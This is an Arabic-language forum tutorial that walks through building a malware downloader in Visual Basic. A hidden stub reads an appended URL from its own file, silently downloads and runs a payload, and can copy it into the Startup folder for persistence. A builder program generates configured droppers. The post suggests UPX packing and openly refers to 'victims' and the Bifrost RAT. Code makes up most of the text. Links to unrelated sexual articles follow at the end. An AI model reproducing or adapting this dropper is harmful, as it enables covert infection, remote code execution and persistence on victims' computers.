شرح بالصور لبرمجة داونلودر متكامل + بعض الخصائص

Admin المساهمات : 81 تاريخ التسجيل : 06/03/2011

القسم الأول : برمجة الــ Stub
القسم الثاني : برمجة البرنامج
بسم الله نبدأ
:: برمجة Stub ::

ننقر على الفورم مرتين ونضع هذا الكود بالخصائص العامه

كود:

Private Declare Function Download Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFile**** As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function Execute Lib "****************l32.dll" _
Alias "****************lExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

ثم ننقر على الفورم مرة ثانية ونضع هذا الكود بالــ Form_Load مع ملاحظة الفراغ بــ ws cript وهذا للحمايه

كود:

On Error Resume Next
Me.Hide
Dim fant0m As String * 100
Dim data() As String
Dim urlit As String
Dim saveit As String
Dim ex**** As String
Dim m****************l
Set m****************l = CreateObject("WS cript.****************l")
Startup = m****************l.SpecialFolders("Startup")
prodir = Environ("ProgramFiles")
WINDOWS = Environ("windir")
System32 = Environ("windir") & "\system32"
Open (App.Path & "" & App.EXE**** & ".exe") For Binary As #1 ' Open Program for reading data
Get #1, LOF(1) - 99, fant0m 'Get data
data() = Split(fant0m, "#") ' Split data with the # character
urlit = data(0)
saveit = data(1)
ex**** = data(2)
Startuped = data(3)
Close #1
Download 0, urlit, saveit & "" & ex****, 0, 0
Execute 0, "Open", saveit & ex****, vbNullString, vbNullString, vbNormalFocus
If Startuped = "Yes" Then
FileCopy saveit & ex****, Startup & "" & ex****
End If
End

الصورة توضح الكود مع التبسيط لتسهيل تمرير المعلومه للقارئ

الآن انتهينا من برمجة الــ Stub بقي ان نقوم بتكوينه بخيار Compile to P-Code للحفاظ على الحجم يكون صغير
وسنقوم بالخطوات التالية

نضغط على الزر Options الذي يظهر بالنافذه وبعدها ستظهر لنا صورة كالتالي

بعدها

ثم انقر على OK واحفظ الــ Stub

ملحوظه : لتصغير حجم الداونلودر بعد التكوين
قم بحذف ايقونه الــ Stub ومن تم اضغطه بأداة UPX وستحصل على داونلودر بحجم
3 كيلوبايت وغير معطووب ..

:: برمجة البرنامج ::

نفتح مشروع جديد ExE بالطبع

نعمل مثل هالفورم مع عدم تغيير الاسماء ولو غيرت الاسماء يبقى غيرهم بالكود هو الآخر

ننقر على زر " تكوين " ونضع الكود التالي وغير امر الرساله وحط اي رساله تبيها

كود:

build ("Server.exe")
MsgBox "Server.exe Created Successfully !! Enjoy", vbInformation, "Mahbola.Bien"

بعد ماتحط الكود انزل لتحت End Sub يعني خارج كود الكوماند "تكوين" وحط الكود اللي بالاسفل والصورة اسفل الكود للتوضيح

كود:

Private Sub build(Applicatie As String)
Dim Buffer() As Byte
Buffer = LoadResData(101, "CUSTOM")
urlit = ****1.****
ex**** = ****2.****
If Option1.Value = True Then
WINDOWS = Environ("windir") & ""
saveit = WINDOWS
End If
If Option3.Value = True Then
prodir = Environ("ProgramFiles") & ""
saveit = prodir
End If
If Option2.Value = True Then
System32 = Environ("windir") & "system32"
saveit = System32
End If
If Check1.Value = 1 Then
Startuped = "Yes"
End If
Open Applicatie For Binary As #1
Put #1, , Buffer()
Close #1

Dim mahbola As String * 100
mahbola = urlit & "#" & saveit & "#" & ex**** & "#" & Startuped & "#"

Open Applicatie For Binary As #1
Put #1, LOF(1) + 1, mahbola
Close #1
Exit Sub
End Sub

ثم نقوم باضافة السيتب اللي عملناه بالأول للبرنامج عن طريق الخطوات التاليه

ثم

ثم

بعد ان قمت باضافة الــ Stub قم بتكوين البرنامج عن طريق

وهكذا تكون برمجة برنامج داونلودر خاص بك يتخطى فقدان الضحايا للبيفرست
لأنو بيخليك ترتاح من انك كل مره تروح ترفع السيرفر على المجلد بنفسك

» فن تدليك المهبل و البظر (بالصور)
» اوضاع جنسيه مسيره شرح بالصور
» افتراضي حقائق عن انزال المرأه بالصور
» كل شيء عن غشاء البكاره ( ولأول مره بالصور الطبيعيه )
» بالصور - السبب في طلب الرجل مص القضيب من المرأه